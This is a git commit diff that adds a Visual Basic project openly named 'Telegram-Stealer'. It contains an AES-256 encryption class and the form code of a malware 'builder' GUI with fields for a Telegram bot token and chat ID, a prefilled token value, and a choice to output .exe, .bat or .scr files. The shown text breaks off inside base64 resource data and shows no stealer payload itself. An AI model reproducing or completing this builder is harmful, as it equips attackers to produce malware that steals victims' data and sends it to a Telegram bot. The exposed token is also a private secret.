commit c0f5addc83001c05df3e8d7b7c2f519b3a66c9ff Author: i2p Date: Thu Aug 27 11:00:43 2026 -0600 initial commit diff --git a/Telegram-Stealer.sln b/Telegram-Stealer.sln new file mode 100644 index 0000000..9a6bbfd --- /dev/null +++ b/Telegram-Stealer.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Telegram-Stealer", "Telegram-Stealer\Telegram-Stealer.vbproj", "{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Telegram-Stealer.v11.suo b/Telegram-Stealer.v11.suo new file mode 100644 index 0000000..553da4e Binary files /dev/null and b/Telegram-Stealer.v11.suo differ diff --git a/Telegram-Stealer/Aes256.vb b/Telegram-Stealer/Aes256.vb new file mode 100644 index 0000000..ae3d51b --- /dev/null +++ b/Telegram-Stealer/Aes256.vb @@ -0,0 +1,103 @@ +Imports System +Imports System.IO +Imports System.Runtime.CompilerServices +Imports System.Security.Cryptography +Imports System.Text +Namespace Server.Algorithm + Public Class Aes256 + Public Sub New(masterKey As String) + If String.IsNullOrEmpty(masterKey) Then + Throw New ArgumentException("masterKey can not be null or empty.") + End If + Using rfc2898DeriveBytes As Rfc2898DeriveBytes = New Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000) + Me._key = rfc2898DeriveBytes.GetBytes(32) + Me._authKey = rfc2898DeriveBytes.GetBytes(64) + End Using + End Sub + Public Function Encrypt(input As String) As String + Return Convert.ToBase64String(Me.Encrypt(Encoding.UTF8.GetBytes(input))) + End Function + Public Function Encrypt(input As Byte()) As Byte() + If input Is Nothing Then + Throw New ArgumentNullException("input can not be null.") + End If + Dim result As Byte() + Using memoryStream As MemoryStream = New MemoryStream() + memoryStream.Position = 32L + Using aesCryptoServiceProvider As AesCryptoServiceProvider = New AesCryptoServiceProvider() + aesCryptoServiceProvider.KeySize = 256 + aesCryptoServiceProvider.BlockSize = 128 + aesCryptoServiceProvider.Mode = CipherMode.CBC + aesCryptoServiceProvider.Padding = PaddingMode.PKCS7 + aesCryptoServiceProvider.Key = Me._key + aesCryptoServiceProvider.GenerateIV() + Using cryptoStream As CryptoStream = New CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write) + memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length) + cryptoStream.Write(input, 0, input.Length) + cryptoStream.FlushFinalBlock() + Using hMACSHA As HMACSHA256 = New HMACSHA256(Me._authKey) + Dim array As Byte() = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32) + memoryStream.Position = 0L + memoryStream.Write(array, 0, array.Length) + End Using + End Using + End Using + result = memoryStream.ToArray() + End Using + Return result + End Function + Public Function Decrypt(input As String) As String + Return Encoding.UTF8.GetString(Me.Decrypt(Convert.FromBase64String(input))) + End Function + Public Function Decrypt(input As Byte()) As Byte() + If input Is Nothing Then + Throw New ArgumentNullException("input can not be null.") + End If + Dim result As Byte() + Using memoryStream As MemoryStream = New MemoryStream(input) + Using aesCryptoServiceProvider As AesCryptoServiceProvider = New AesCryptoServiceProvider() + aesCryptoServiceProvider.KeySize = 256 + aesCryptoServiceProvider.BlockSize = 128 + aesCryptoServiceProvider.Mode = CipherMode.CBC + aesCryptoServiceProvider.Padding = PaddingMode.PKCS7 + aesCryptoServiceProvider.Key = Me._key + Using hMACSHA As HMACSHA256 = New HMACSHA256(Me._authKey) + Dim a As Byte() = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32) + Dim array As Byte() = New Byte(31) {} + memoryStream.Read(array, 0, array.Length) + If Not Me.AreEqual(a, array) Then + Throw New CryptographicException("Invalid message authentication code (MAC).") + End If + End Using + Dim array2 As Byte() = New Byte(15) {} + memoryStream.Read(array2, 0, 16) + aesCryptoServiceProvider.IV = array2 + Using cryptoStream As CryptoStream = New CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read) + Dim array3 As Byte() = New Byte(memoryStream.Length - 16L + 1L - 1) {} + Dim array4 As Byte() = New Byte(cryptoStream.Read(array3, 0, array3.Length) - 1) {} + Buffer.BlockCopy(array3, 0, array4, 0, array4.Length) + result = array4 + End Using + End Using + End Using + Return result + End Function + + Private Function AreEqual(a1 As Byte(), a2 As Byte()) As Boolean + Dim result As Boolean = True + For i As Integer = 0 To a1.Length - 1 + If a1(i) <> a2(i) Then + result = False + End If + Next + Return result + End Function + Private Const KeyLength As Integer = 32 + Private Const AuthKeyLength As Integer = 64 + Private Const IvLength As Integer = 16 + Private Const HmacSha256Length As Integer = 32 + Private _key As Byte() + Private _authKey As Byte() + Private Shared Salt As Byte() = New Byte() {191, 235, 30, 86, 251, 205, 151, 59, 178, 25, 2, 36, 48, 165, 120, 67, 0, 61, 86, 68, 210, 30, 98, 185, 212, 241, 128, 231, 230, 195, 57, 65} + End Class +End Namespace diff --git a/Telegram-Stealer/App.config b/Telegram-Stealer/App.config new file mode 100644 index 0000000..340e535 --- /dev/null +++ b/Telegram-Stealer/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Telegram-Stealer/Builder.ico b/Telegram-Stealer/Builder.ico new file mode 100644 index 0000000..ba54cb6 Binary files /dev/null and b/Telegram-Stealer/Builder.ico differ diff --git a/Telegram-Stealer/Form1.Designer.vb b/Telegram-Stealer/Form1.Designer.vb new file mode 100644 index 0000000..2d52411 --- /dev/null +++ b/Telegram-Stealer/Form1.Designer.vb @@ -0,0 +1,227 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.Icon = New System.Windows.Forms.CheckBox() + Me.exe = New System.Windows.Forms.ComboBox() + Me.ExeName = New System.Windows.Forms.TextBox() + Me.Label5 = New System.Windows.Forms.Label() + Me.GroupBox1 = New System.Windows.Forms.GroupBox() + Me.GroupBox2 = New System.Windows.Forms.GroupBox() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.LinkLabel1 = New System.Windows.Forms.LinkLabel() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.GroupBox1.SuspendLayout() + Me.GroupBox2.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(10, 262) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(304, 55) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Build" + Me.Button1.UseVisualStyleBackColor = True + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(8, 34) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(290, 20) + Me.TextBox1.TabIndex = 1 + Me.TextBox1.Text = "5049959266:AAFJQRcRFhUzXFoT4Bj40d1LFuM0IyNZ799" + ' + 'TextBox2 + ' + Me.TextBox2.Location = New System.Drawing.Point(67, 60) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.Size = New System.Drawing.Size(231, 20) + Me.TextBox2.TabIndex = 2 + Me.TextBox2.Text = "5038570399" + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(9, 64) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(51, 13) + Me.Label1.TabIndex = 3 + Me.Label1.Text = "Chat_id :" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Location = New System.Drawing.Point(6, 16) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(62, 13) + Me.Label2.TabIndex = 4 + Me.Label2.Text = "Token bot :" + ' + 'PictureBox1 + ' + Me.PictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) + Me.PictureBox1.Location = New System.Drawing.Point(10, 12) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(304, 86) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.PictureBox1.TabIndex = 5 + Me.PictureBox1.TabStop = False + ' + 'Icon + ' + Me.Icon.AutoSize = True + Me.Icon.Location = New System.Drawing.Point(247, 12) + Me.Icon.Name = "Icon" + Me.Icon.Size = New System.Drawing.Size(47, 17) + Me.Icon.TabIndex = 6 + Me.Icon.Text = "Icon" + Me.Icon.UseVisualStyleBackColor = True + ' + 'exe + ' + Me.exe.BackColor = System.Drawing.SystemColors.Control + Me.exe.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.exe.FormattingEnabled = True + Me.exe.Items.AddRange(New Object() {".exe", ".bat", ".Scr"}) + Me.exe.Location = New System.Drawing.Point(247, 33) + Me.exe.Name = "exe" + Me.exe.Size = New System.Drawing.Size(51, 21) + Me.exe.TabIndex = 11 + Me.exe.Text = ".exe" + ' + 'ExeName + ' + Me.ExeName.BackColor = System.Drawing.SystemColors.Control + Me.ExeName.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.ExeName.Location = New System.Drawing.Point(9, 34) + Me.ExeName.Name = "ExeName" + Me.ExeName.Size = New System.Drawing.Size(233, 20) + Me.ExeName.TabIndex = 13 + Me.ExeName.Text = "Server" + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Location = New System.Drawing.Point(9, 16) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(55, 13) + Me.Label5.TabIndex = 12 + Me.Label5.Text = "Exe Name" + ' + 'GroupBox1 + ' + Me.GroupBox1.Controls.Add(Me.Label2) + Me.GroupBox1.Controls.Add(Me.TextBox1) + Me.GroupBox1.Controls.Add(Me.TextBox2) + Me.GroupBox1.Controls.Add(Me.Label1) + Me.GroupBox1.FlatStyle = System.Windows.Forms.FlatStyle.System + Me.GroupBox1.Location = New System.Drawing.Point(10, 104) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(304, 93) + Me.GroupBox1.TabIndex = 14 + Me.GroupBox1.TabStop = False + ' + 'GroupBox2 + ' + Me.GroupBox2.Controls.Add(Me.exe) + Me.GroupBox2.Controls.Add(Me.Icon) + Me.GroupBox2.Controls.Add(Me.Label5) + Me.GroupBox2.Controls.Add(Me.ExeName) + Me.GroupBox2.FlatStyle = System.Windows.Forms.FlatStyle.System + Me.GroupBox2.Location = New System.Drawing.Point(10, 196) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(304, 64) + Me.GroupBox2.TabIndex = 15 + Me.GroupBox2.TabStop = False + ' + 'PictureBox2 + ' + Me.PictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.PictureBox2.Location = New System.Drawing.Point(211, 296) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(26, 21) + Me.PictureBox2.TabIndex = 14 + Me.PictureBox2.TabStop = False + ' + 'LinkLabel1 + ' + Me.LinkLabel1.AutoSize = True + Me.LinkLabel1.Location = New System.Drawing.Point(49, 321) + Me.LinkLabel1.Name = "LinkLabel1" + Me.LinkLabel1.Size = New System.Drawing.Size(246, 13) + Me.LinkLabel1.TabIndex = 16 + Me.LinkLabel1.TabStop = True + Me.LinkLabel1.Text = "Contact Developer : https://t.me/clean_tools_net" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(324, 340) + Me.Controls.Add(Me.LinkLabel1) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.PictureBox1) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.GroupBox2) + Me.Controls.Add(Me.PictureBox2) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.MaximizeBox = false + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Builder WorldWind Pro" + CType(Me.PictureBox1,System.ComponentModel.ISupportInitialize).EndInit + Me.GroupBox1.ResumeLayout(false) + Me.GroupBox1.PerformLayout + Me.GroupBox2.ResumeLayout(false) + Me.GroupBox2.PerformLayout + CType(Me.PictureBox2,System.ComponentModel.ISupportInitialize).EndInit + Me.ResumeLayout(false) + Me.PerformLayout + +End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents Icon As System.Windows.Forms.CheckBox + Friend WithEvents exe As System.Windows.Forms.ComboBox + Friend WithEvents ExeName As System.Windows.Forms.TextBox + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + Friend WithEvents LinkLabel1 As System.Windows.Forms.LinkLabel + +End Class diff --git a/Telegram-Stealer/Form1.resx b/Telegram-Stealer/Form1.resx new file mode 100644 index 0000000..8d12679 --- /dev/null +++ b/Telegram-Stealer/Form1.resx @@ -0,0 +1,1873 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAA0kAAAEFCAYAAAA2fKx+AAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + xAAADsQBlSsOGwAA/7JJREFUeF7snQeYJFd1tu3fGRtwwhmkzVmrjIRAEliAydFkAw5gbIPBAZskiSiQ + hEAIJGyyiSYJmQxCIJS12tXmHGZmZ4Ny2CCtNsz9z3e7vppTp0+l7prZ2d3q53mf7q577qlbt251n6/P + rdu/EPRjz54w8sADYWT37g67dnXYubPDjh2RA/ffHw7cd98o994bDtxzT5a77x7lrrtGufPODnfcMcrt + t4f94LbbRtm+PRyQZ8DXeO5i27Zutm7tny1bqtFrPY+x8uWV16FJX6QJf7pdh5sv1ptovsjh7Mur16s/ + 1mH9Xv2APF/cXgfW6dcPGAtfdlsv/nQd+ujVl+ZI8EWa8KXb1PrKx9Zrwhd9TBRfZKL5Yr0mfZVtqwLr + sT3E2lUhz5eHrauhjRd7F+HF70KM7RHriwZIoTagXiBaS2iNQaBFSKJPRkSvULukWgZQ34jWCSMjiQjq + fmREUhRIjiiKaGFkRREbqA9AH5gSQ5FE/HQJH3SkPkl8zfd5DA/7bN48it2u3+vtHkNDWbxyu81ifRDP + tgzPD/Bsy/D8AM+2DM8P8OzsNov1QTzbMjw/wLMtw/MDPNsyPD/Esy/C80E8W7tNY+trPPsiPB/Asy3D + 8wM82zI8P8SzL8LzQTxbu01j62s8+yI8H8SzL8LzQTz7Mjw/wLMtwvNBPFu7TWPrazz7IjwfxLMvwvNB + PPsyPD/Asy3D8wM8O7vNYn0Qz7YMzw/wbIvwfBDPvgzPD/Hsi/B8gDw7u12j62s82zI8P8CzLcPzAzzb + Mjw/xLMvwvNBrJ1+72Hrazz7IjwfxLPvFRs7e3F5VYyQ0vogYoWTJ54AhZPWJlooES2UEuqJJFa0ooho + YVRBFEWFKHSJIeKJIHsCgHeiNHowDA42z8DAKHlldrtF+yiqk7ddY/3k1cnbrrF+hH149uzsNovyQcbF + l7ddQxuLZ2e3WayPKnXy8HwBz7YMzw/w7Ow2i/VB8uzsdo2ur8mzs9s1ur4mz9bbTqwPkmfrbSfWB8mz + s9s1ur6myNYrA7q+Js/W206sD5Jn620n1gfJs/W2E+uD5Nl624n1QYpsvTKg62vybL3txPogebbedmJ9 + kDxbbzuxPkierbddY/3k1SkqI9pHkX3edo31U6VOHp4v4NmW4fkBnp3dZrE+SJGdLSPaRuPZ2W0W66NK + nTw8X8CzLcPzAzzbMjw/oMjWKwO6vsaz7QX40vG2xYvPLTq217E/9UAimCLQDwldwskTTxRLFEzULolY + wkw4m1mqLpIwxQ6VdObICiNPHCWCKAMPjKLIE0PAiiB0Mk8GO52v9UkqYtOmlH0bN3bAeymLz9huyxMb + jS3v8mfKM6AsKYddma1XHrdpuM3aqPd5viyw8ewy28p8oSwpb9KXRz/tIiyv6ituJ3zv2Ozne7x2bCyx + To4v/brQF8qS8jxfbFcdXx7aV+kxJr64T2tb1VfcnkA/1jZu43un3CPPlyaWFdjocuLZAW3bc7l6TbRN + CrYrG2un33vluqwpXxraebaZbTk2IG5PyolrY2ytjS6POOWgF194rcnYKFtdlrFR4L1nR4p8WfJ8ZbYV + +IrbE5r05ZUD1qVtVV+ZetpG2eoyDcutry4bPgt5vjSwKfIVKfOFssQmz1cvn9NeeS++8Jp22j5TV17n + +YrbCd97Nnwvr/N8aWBDvO3xPZ5NeYakvMiXtdXlGZJy64P06kvDcusr814RtyfQh2fLbV0xdx42jvdg + uRZPWiNQNGnhJKSCSYsmCiWKJQomiqUk8RMzSkoo1RNJViBRJFEcmUxRKohU4yM8KH2wWhB5Hac715ys + 9OQY9m3YUMz69R28MsByjyKbKvXLWLeu89yUL/ppwpf259lUpe4xct95ZXg+GO0qoklf4GC1Dba0z4N+ + qvjytmuq+AFFvuocHyhrV11/RdTxBVvilQP66bddYCL6qttf3nZS1xfJK6efMl9lTFRfQPvzyqsCP3V8 + 0T6vDM9NtYt+JpIv0PRx4rmKL9jSPg/6qeLL266p4gcU+apzfCDPF7fX9VdEHV+wzWsboZ9+2wV68ZVn + q31ZEJfrON2J5TNQTBFPNFE4acFElO4oFEwUSxRMAsVSdZGE+5HyMkhUZYlASlNgWhQxW6QzRkXCSAki + dqzb6cA7URxkYO3aUez7NWuy74uArYbbdDlfF6F9WLSNrpOHra/RNrpOHra+hTa2noetm4dX11JUj6/1 + tiK0Dw/a2Hoetq5G2+g6edj6xJbZeh7a3kPb2LoWXc9D2+l6HrauRdvYuhZdz4M2tp6HrUt0GV/renmw + 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 + 